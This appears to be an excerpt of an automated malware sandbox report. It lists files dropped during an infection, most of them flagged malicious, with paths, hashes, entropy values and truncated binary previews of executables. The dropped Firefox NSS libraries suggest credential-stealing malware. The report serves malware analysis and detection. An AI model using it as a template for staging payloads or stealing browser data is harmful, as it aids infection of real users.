Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\1[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17173136
Entropy (8bit):	7.638704852437407
Encrypted:	false
SSDEEP:	393216:6e7J+Gb+HUbNSZpQJDzjfEQ1hNLRGaGM7eGfIO3:6e7J+GacDnfphNLRBrDD
MD5:	2422F05C5FD9FD0844A8BDA0A1281C22
SHA1:	0CCBA49F5B6457AC3057086EC04C26ACD4A86DB7
SHA-256:	AFF1DB616D54E8C3A90379091F605C8AD6BEEA66B5B3223CDE7E2467A3294922
SHA-512:	25EC269EC9E34BDB5F8F8801D65AB35FFF170FAC35CFF0E882DBD52ED7E9CBA5DD4AC1426AD2AFB7C9605FC3123700DD5F082BA9B0FF1C4D54D2320A04EDA113
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...hY.f.........."...0..7............... ....@...... ....................................`..........................................................`..............0...`............................................................................ ..H............text....7... ...8.................. ..`.rsrc........`.......:..............@..@........................................H.......\|(................................................................(....:.(......}....&...(......{....2(&....o'.....(......(......(......(......(......(....2(&....o5....s9..........(9.....0..".......~..........(....~....-...............8....~.....i.~.....2.......~.....+.~......9......X...2...+.~......9......X..~....2...+.~......o....,n..X...2.~.....i. ......Z(.......0.(......+.~......,:~......o....,,..X...2.s....z........~.........(............. ....X}....~......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\66e705d09b33c_jack[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4249600
Entropy (8bit):	7.5486921675227485
Encrypted:	false
SSDEEP:	49152:HYcdjDQdrscIC5SmTT+mfkj8J6iKG7suEAeMDsaUmxb7WnpRGnKuAsF33PKQTunw:HK/f+mfNptIZ/alxGR7uA8Phanzuhjf
MD5:	ABDBCC23BD8F767E671BAC6D2FF60335
SHA1:	18CA867C0502B353E9AAD63553EFD4EB4E25723F
SHA-256:	45A7B861BAAC5F8234433FEFD9DBDD0A5F288A18B72346B6B6917CF56882BF85
SHA-512:	67C00713E6D24D192C0F8E3E49FA146418FAF72B2BB42C276AD560F08E39C68F4AB446C47C7E7710778AEE9CA1F193AD65E061645B6BCEC414844165B5E16BC7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._U....................>..8........>.. ....>...@.. .......................@A...........@.................................`.>.K.....>...................... A.......>.............................................. ............... ..H............text.....>.. ....>................. ..`.sdata........>.......>.............@....rsrc.........>..0....>.............@..@.reloc....... A.......@.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\66e9b62daa62d_xin[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	360824
Entropy (8bit):	7.988488082565148
Encrypted:	false
SSDEEP:	6144:rJH7M9GC2FJJaknlN/zR0eVQbWVo+oMZvF+ZwZlwHhK5NTp:9HrFJJaknlNLR0NbWVo+osFP2K5pp
MD5:	8E3FB69A56D807D7EF1C432EA1590496
SHA1:	78843735C41AF9906484DF7C3E3A1D1CD4A0B83D
SHA-256:	CB2E830D6DF32FD5168D39A10D138A1F724651B7DCC561B2B87B59CC96EBB20A
SHA-512:	12EE5797845E86768D5A99E45FB7CD93B328F4839031A91EA735F41F0EEC373A2FB593BCE7BB13201E982EE75BD0BC22ED7C2B6CAA954FACFA238C2A5BAE521B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...3..f.................N..........nl... ........@.. ....................................`..................................l..W....................X..x)...........j............................................... ............... ..H............text...tL... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................Pl......H....... ]..............................................................0.Hn.+J.x~..O.c..A..Ow.u... ......"....._......o.v..vl......x.N..+T[A...g.....f[q."L.".wKO8.8`..".3.j.7...P.U.N.yX...g...%".\....>...8.$.....T?uM$......C2.8........[.Ya.....n\|.M.o.....y..E.........u..r..l.O.3T..I.....).Md'..c.2.LB.{Z$...Rx...5..._.8..@.@5..,b...y_%8._..aY.P../.....>7..\|.~...{k..~e.5'mA.!Q.[C.....H.I)..o$.^.\..v"#..3..l...F....E..E..-E.H.". )..}.vL.U..p.PU..v.......a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\gefox[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3064607
Entropy (8bit):	7.997233529221632
Encrypted:	true
SSDEEP:	49152:C9VUhWp2u0GYNn8wm+6HAq0yAxnqZ5llq0/xoCD1O6GtYg8HdPuMoMuzliWR0ast:MWgp2FNhmJQqZ00/ewO6RjHQMR4ZR0am
MD5:	7F8B798B110AC4A6898922F87EA59530
SHA1:	E7FCD3D87032480AE20E3BDE0370B8A3DDD9990B
SHA-256:	A4D3E439EE171D55BFC435125503D421C2314D87E8BC5910161BEBECFA505EDA
SHA-512:	E246C8AB501EA6E23304F52132058BB4021788451609D5210C7C5F85D9C9FDD3E129F658C4FF9971104AE5963A6EC9C12E63A84807E51263BBB5557DEBAB51CC
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F....................@..........................@...................@..............................P........,..........................................................................................................CODE....0........................... ..`DATA....P...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\66e98ff1d44e2_crypted[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	331128
Entropy (8bit):	7.986753743022443
Encrypted:	false
SSDEEP:	6144:KF0iDT0uzcvXjGQfp1Shf0J4eKC+2Lojfckt6QLniqtBZ2AWwZB24kAscHjs34ha:KF0iPDcffXLqdtpLiqtBZ2AdLdkAssjA
MD5:	A0C6989730B44EE30722FECCD86D946B
SHA1:	4EF62E701352C7DFDF0807460DC4BB3C22BE67F0
SHA-256:	5669998000FDC457A919DEA600B100809D0BB5681CBCA6A67B544307233B5915
SHA-512:	E5C622F22AD40CDDAE798853D40AF4695A37BD75624193C0181504A3AC2A28C146339BF06AE0110A995C90BDFCAAB9A3072E18A7F610CBED24D5B1D028FC5EBA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M}.f............................n.... ........@.. .......................@............`.....................................W.......................x)... ....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................P.......H....... ...............................................................u.Gh.\..y..%:.....zM.$. v.....s...87..kE.ef.....ICp.M.......^..%.^..ha2.../..r.."..... ....#...z0bl....v.).......I.M.....a.2.28..,.:..g>.s....+z..{....6..f...Z~...A.037Q.~.)Q..........pD>\|W..f9.1....^<..#.Pk.....q.1G...0`.zU ..B"L..z....&VD...H......!L.v\.0..[G.Uq..#.Qr5X.FGKu..n?`....1.n....&...5.......y..N..&....)..qa.....3..6.(.;........5.%.9...}~rW..<!..m...D..F(d.F+=.%'=.....u9...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\onePackage[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8732672
Entropy (8bit):	6.427274039018253
Encrypted:	false
SSDEEP:	98304:f7aVHGolaJtFaKWi64a6kI/t5jeWjAmiEmp71:mtl0Fh7Lk
MD5:	6C2DB0EF90B27F880A1566DE7711E6C6
SHA1:	E9E14A284FAE52C5C91200F81AF4F94B53526816
SHA-256:	C2588125970DB20AC97818D2170EECEC857F578D7BF3F24EF8F6A3F303798AC6
SHA-512:	1A9A1220958CC5B9D32DC70074DF174EAE7040C53BBF1FA4C97753A9F8C2A9A8C20668FC957D743FB038A97CA0017E333181856A783E10CFAE0F557D2AAB73A2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........$................=..n......@2........\|...@.......................................@..................................0..L....p.......................@..$.....................................................\|..............................text.....=.......=................. ..`.rdata..D.?...=...?...=.............@..@.data....Y....\|..T....\|.............@....idata..L....0......................@....reloc..$....@......................@..B.symtab......`.......$.................B.rsrc........p.......&..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vkfsags12[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	299936
Entropy (8bit):	7.981202329657754
Encrypted:	false
SSDEEP:	6144:SUehHGTrrMAUWyioL61kWNVREN/EFO2LYuNJReyViEO:SU7nz4s1kWNvEVLTuplIEO
MD5:	FEDE424830238CF2C2E661B5CB12E584
SHA1:	5A8F787C25ECCD1E5A8D293625EF80C5D416DA19
SHA-256:	72D4E5A68545DE1C0268A4616DB6807E90A027E0191DDA20377ECBD61AE577F0
SHA-512:	713891E18A615E7013F555D05B08EB91E7520B94E1BBA0FA0483C29F6F3AF5EF8F2055B2E35E8E83B75CD41256B5FD86405318B87440DA463B82DAEDFD8AC39F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Zs.f.................:..........nX... ...`....@.. ....................................`..................................X..W....`..............xm..(&...........V............................................... ............... ..H............text...t8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................PX......H....... I.................................................................-.If........w..8\......O?).OEeQs\`Q$b_t..g...A.'4..P\}.....,@..6D.x~.;.Bz.3.C..%..F.25't.W..L.d)<.b 9.Q.u...$...\|A..(.._.. ...5..l.g..T.f...nI....r...z.....f\....l...L.}..H..2.d.0.H.9t......8yJh.Q.R.:;.8(...ej...`..O...z..5.....:T.:7..~&k.......s......K.=R...M......t...".Oo)"..7.].U.,....vC@.wb.....C.?.......>.X...^+.5q#..N.M..9.JK.f....f.G.^..H..c..i..~.............6,.r..BQ$.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66ea645129e6a_jacobs[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11496960
Entropy (8bit):	7.95681767955623
Encrypted:	false
SSDEEP:	196608:0GTSo6ARyCFMI19DwkfAuYI8wha0mlCGMbM77RWWuhJzoSpc92tQRqIDfrDap1B6:0GTz6uyCfDwkfAuH8kv477RWXJs59Nqs
MD5:	D60D266E8FBDBD7794653ECF2ABA26ED
SHA1:	469ED7D853D590E90F05BDF77AF114B84C88DE2C
SHA-256:	D4DF1ABA83289161D578336E1B7B6DAF7269BB73ACC92BD9DFA2C262EBC6C4D2
SHA-512:	80DF5D568E34DFC086F546E8D076749E58A7230ED1AA33F3A5C9D966809BECADC9922317095032D6E6A7ECDFBFBCE02A72CC82513AB0D132C5FFA6C07682BD87
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#.................]p.........@.............................`............ .....................................................<....P......@...`*...........................................F..(.......8............... ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..p.-......................... ..`.text1..X...........................@....text2...`.......b..................`..h.rsrc........P.......h..............@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\lnfsda[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	360864
Entropy (8bit):	7.985939069058878
Encrypted:	false
SSDEEP:	6144:fb/Klz1yq1ry/FkGD9fc9f59Dt80k33KcP0QMVcQr4MvaXA3twkZ7X7ZEO:fb2+iGDQntTk3a20QM2K4KqAdX7ZEO
MD5:	6F4A0AE013610785AD54438F4AF26F1A
SHA1:	C8FF55002963DDE8457DB2B11F68E67A070DDB21
SHA-256:	CCB16A2E8B58BE824D838D5607ECD4B07123DE87F9FE9E42E64507D77B0F374D
SHA-512:	6F3A30E8EE4FF36CFAAC09BFE1272ED4678783C4628DD82E47DD1EF23D4A8EF1C153A9A4E8951CB38B4C7A833F2BC744DBCC7DAC1E550B2F44FFADC8181D8EE3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."s.f.................(..........nF... ...`....@.. ....................................`..................................F..W....`..............x[..(&...........D............................................... ............... ..H............text...t&... ...(.................. ..`.rsrc........`.....................@..@.reloc...............0..............@..B................PF......H....... 7..............................................................rZ.pLj..5XEY..;...\|..<}......\@..\kDV.2/.i.b.A...9/f..:.Y......M...v.s........>..f..Q~1!..:IS.....k...3.6..u8...M3.::F>..R.`.\...!1R...g..yR.u;.....#Q.C.e.....-.k.;W.l..{.......I.K..S...Z.{...&z.K./..3.$M\gL.S....-].L....u9...k..':......G9.qRbZ@.,...#..oZX...U@%C..^N.i.n..>x;.L...`/2'.a~q..Z....B$...e.h.......Sy.....}}......}W....F..(.\|{.`3..-..p>>M.3..x8...T..NK.j.s."..hK..`....oi.V.,.3

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\smdsg[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	221600
Entropy (8bit):	7.968721372985914
Encrypted:	false
SSDEEP:	6144:u5Rh+OL63O9k17T5lvuVU0VKsLalk5GwjM8Dxy7QYEO:uLJAEQr6KsLEkkWzyTEO
MD5:	272B330726DEC4ADD609E0D8025D71B7
SHA1:	75543AC27B430EF6FEC461056CEB6A55A35C7369
SHA-256:	E48219567F84882F41BB1E957BBD1358E453274CA0D2025505C66779F642BC30
SHA-512:	6E2731C61CE8CE018DEB9E20F772BBE8B6B57DF77AC5054FD67B18199AE2DE1399ADD3B29B7A18BDC994F5AB1F8678F3454E593685E1626D4EF525DF59532558
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...fs.f............................n&... ...@....@.. ....................................`..................................&..W....@..............x;..(&...`.......$............................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P&......H....... ...............................................................8..<...7.:\....Pj..;..`V..-..=...;......@.-V_....Q..Fv..to..,.M...e.il<.B)..=P...C.I.......\|..A.L.....n;.....1....i<..p{Np..3..*~....F....ws..._#.%...RQ&..[.....I.d..+.k.(.....`Q.!.....s.....S...?`.%..&./.{....h.}}.F,b3...h91.(.%....n.K..w....e:..>......#f....$W..r...O.....2....f.3...\|.Ta..... .o[P.........\..).....X..oo.X6.....zC...}..0...)v...a....N".._..Kq.8{c....a.W.6..s.....h.......).

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vlsadg[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	299936
Entropy (8bit):	7.981206148706914
Encrypted:	false
SSDEEP:	6144:V58+UTYNUsagLAxjDbXxw0HVmjE+IPgkeHeNQZzgSEO:1UTqUsJLunxDVm9IIVOw0SEO
MD5:	A714209DB1B2B68A95E680DF111922ED
SHA1:	5533ED29BF3239839E6ACF03965CF27DDF4F4138
SHA-256:	7AD095DE4171DFB3458752E1F4406B726EA94327E529FD83E2189B8C04FFEE86
SHA-512:	25CE432979995987A26E9442C2C9AC026D55FF9F4820D983AB30496D28A75DEC508C4083B11A2433F5BC3C2F903828ED2849AA5542FC7DE84394B44A29FBCF55
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Ls.f.................:..........nX... ...`....@.. ....................................`..................................X..W....`..............xm..(&...........V............................................... ............... ..H............text...t8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................PX......H....... I...................................................................2..W.[j..x.x}.<6.?..Y-.W..O...Z......M5"..._.v.p.r.{.'....$.cE..D.Z.-S..J.nJK..}RP.D..Z.....Bx....?...A.!.;1..Id..L..@..hj.`2q.H..a..6.T...w.D.CF.......E.szL...Xk.y.....1I....IZd.A..A.L......B.....u.).......kM..O+...am.F\.L.FA..y....(.K.@..J^A$..6q.@.....v}DOR...I......1..4.\y...?.u].IW.Q..i...$\..~$...Ao...v.;L\.K&vh..0..."Ck....%.S...z...W.....L.j.b.$`1q-...thB..!..Y...ZY.

C:\Users\user\AppData\Local\Temp\424576\Patent.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Alternate

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.998064174314916
Encrypted:	true
SSDEEP:	1536:wZ69zL+ormdUrLOa/GuUcWeCxeG3KeQZ0KVignWcAd6XBkOKem/2f9aF:wZAL+WmdUp/jUcWJKeOizgCeIpF
MD5:	0CE3312DB7E4B26F5019720BC208C5EA
SHA1:	80F69777E07B1C09D6DBD1358B2818777B65110B
SHA-256:	FC1515A6D61E4413DDD8D11C902BB417CE6BC48C9CCBB65C531CACE0B54FD2BD
SHA-512:	C17EDC9C1131B584D5FBFC05947288562DFE34D98FD69649BCFD99FFBDF2B7717DE2BDBAE317C9D5CA9768749D555251DEB06B0F584045B811313D6EC22B7536
Malicious:	false
Reputation:	unknown
Preview:	.m.\.W.......g.Q...jo...6.stV....h....p...._?9(.......,)...7..U>Y....O....,.(A...` .O.......3..d....Z...}...u..b.?.C.E8.v1m.....sK...e..mV..n.c...L......~p..5....3..B&..T...B.....<s.3.X-..i1F_..`.<..'&..TX........ER.h_...L.W7....Y.m\19#...+...rC.+%'/.......TF.D?..:..GE....G......V..j...D.....C...w.w...T.........'....#.P..Z&cZ?4........{I.=..t.U.b.p....Jj......l^.,..az.'e.f.ru.....[..[I/K...%.)......d.5F.s...........0..........k/.../.t...X.%.^_..c.#u.n..,.S.!...^.X..G..@...q...$.G...o.....C.tO.....l..eG.`..a?.Dd_x.x...9..-.O.(.7g.&.....;.h+._...F...2V.d.C.%.&..:...~uO\|..Ae.@.k....h.:.%...P.1I.e"K.w.M..A-%.Lp(.Y...jCu...X...lv$......~..rC(..Ba.'I... .u^....,j..f..Y..s]Y7o.>..B.%.6.`JD.?....Jfm'M.fNV..V.........b.7.Y.'....W..F#.E..+d...^..:...,Y.Nt.Fm.Y._.>..T,..S.....6..W .V.....2r.{....&.G...`. .R..;jg6s.0wL.\|..g.s..X.d....8ly......I\&X.64a...."..zH.d......t......_3.........GGh#.L...........p*9\|1..dC....[C.,WX.AT."...'vcB.....>..S...!W...C...U...

C:\Users\user\AppData\Local\Temp\Default

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.9979585927171675
Encrypted:	true
SSDEEP:	1536:kJvd1zEXMBU38dUawoB5NjgDEVf0nhbR1KfGYWtP/P8drxt1dhOAVcGujuwnCDEX:4dlE8BUKhwoB7jnOnhbYWVU9xtzMAKC2
MD5:	1F8978707DFE0340595C1379AD081497
SHA1:	B123A641C268307B05D2C76A73408D89165EA040
SHA-256:	F8B3D6B1E64F4B97F1979ECD84AC56D9A252015BD0E9A54CE800CE03B667E615
SHA-512:	7748D0A77D1B993395BD2F49364AB28A3405718FC4B7F26B4F55DADC51AB23EA390150EEAE2EB94EB97DB92237467A795C99EA4C044B58C7E7831BBDB48D8220
Malicious:	false
Reputation:	unknown
